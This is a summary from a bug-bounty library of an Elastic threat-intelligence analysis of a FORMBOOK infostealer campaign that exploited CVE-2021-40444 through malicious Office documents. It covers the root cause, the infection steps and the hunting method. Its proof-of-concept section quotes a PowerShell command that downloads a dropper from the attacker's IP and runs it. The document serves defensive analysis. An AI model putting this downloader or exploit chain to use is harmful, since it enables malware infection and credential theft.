# FORMBOOK Adopts CAB-less Approach
FORMBOOK campaign used CVE-2021-40444 MSHTML ActiveX directory traversal in malicious Office docs to execute a VMProtect DLL and steal credentials from manufacturing victims.
- Payout: Real-world hack
- Severity: high
- Program: Microsoft
- Analysis by: Derek Ditch, Daniel Stepanic, Seth Goodwin, Andrew Pease
- Disclosed: 2022-06-07
- CVE: CVE-2021-40444
- Write-up quality: 7/10
- Original: https://www.elastic.co/security-labs/threat-command/formbook-adopts-cab-less-approach
- Library page: https://bugbountylibrary.com/r/blog%3Aelastic-co-security-labs-threat-command-formbook-adopts-cab-less-approach
- Tags: area:os domain:desktop impact:data-leak impact:rce kind:incident platform:threat-intel sev:high tech:windows technique:chained vuln:path-traversal vuln:rce
**Target:** MSHTML rendering engine in Microsoft Office documents (ActiveX/OLE)
**Root cause:** Office renders an externally linked MHTML OLE object whose ActiveX control is loaded from an attacker URL; the MSHTML engine fails to validate the control's path, allowing directory traversal to a dropped file that is then executed as a control panel/script file.
**Steps:**
1. Deliver `Request Details.docx` with `word/_rels/document.xml.rels` containing an external OLE relationship targeting `MHTML:HTTP:\104[.]244[.]78[.]177\Pope.txt` (HTML-entity encoded)
2. Host `Pope.txt` JavaScript that creates ActiveX objects and uses CVE-2021-40444 to traverse directories and execute `IEcache.inf` (or `Profile.rar` as `.wsf`)
3. Download `comres.cab` from the same IP; extract `1.doc.inf` (a VMProtect-protected PE32 DLL)
4. DLL imports `ShellExecuteExA` and `URLDownloadToFileW` to fetch and run further payloads
5. Production variant: `Profile.rar` prepends a WSH job running hidden PowerShell `-enc` that downloads `abb01.exe` to `$env:LOCALAPPDATA\dllhostSvc.exe` and starts it
6. `abb01.exe` dropper writes `yxojzzvhi0.exe`, identified by YARA as FORMBOOK/XLOADER infostealer
**How found:** Threat hunting on malicious email attachments; only four CVE-2021-40444 email samples found by Oct 28, 2021, prompting pivots on sender address admin0011@issratech.com in VirusTotal, which linked testing and production infrastructure via shared IP 104.244.78.177.
**Exploitation:** Phishing emails from spoofed domains (issratech.com, backsjoy.com, leoeni.com) delivered Office docs with remote OLE objects; opening the doc triggered MSHTML to fetch attacker JS, traverse to a dropped DLL/WSF, and execute it, loading FORMBOOK which keylogs, grabs forms and clipboard, and exfiltrates data.
**Escalation:** Multi-process chain: doc → MSHTML ActiveX → CAB DLL → PowerShell dropper → FORMBOOK stealer; campaign shifted to plain RAR attachments after patching.
**Insight:** Pivot on the phishing sender address in VirusTotal to cluster testing vs production samples; decode HTML-entity-encoded OLE relationship targets in `word/_rels/document.xml.rels` to recover C2 URLs and dropped filenames without opening the doc.
## Proof of concept (copied exactly from the original report)
**Base64 PowerShell downloader in Profile.rar**
```
Rar!...truncated...
```
**Decoded PowerShell downloading abb01.exe dropper**
```
iex ((new-object system.net.webclient).downloadfile(“http://104[.]244[.]78[.]177/abb01.exe”,”$env:LOCALAPPDATA\dllhostSvc.exe”));Start-Process “$env:LOCALAPPDATA\dllhostSvc.exe”
```
**Obfuscated JavaScript ActiveX exploit in Profile.html**
```
```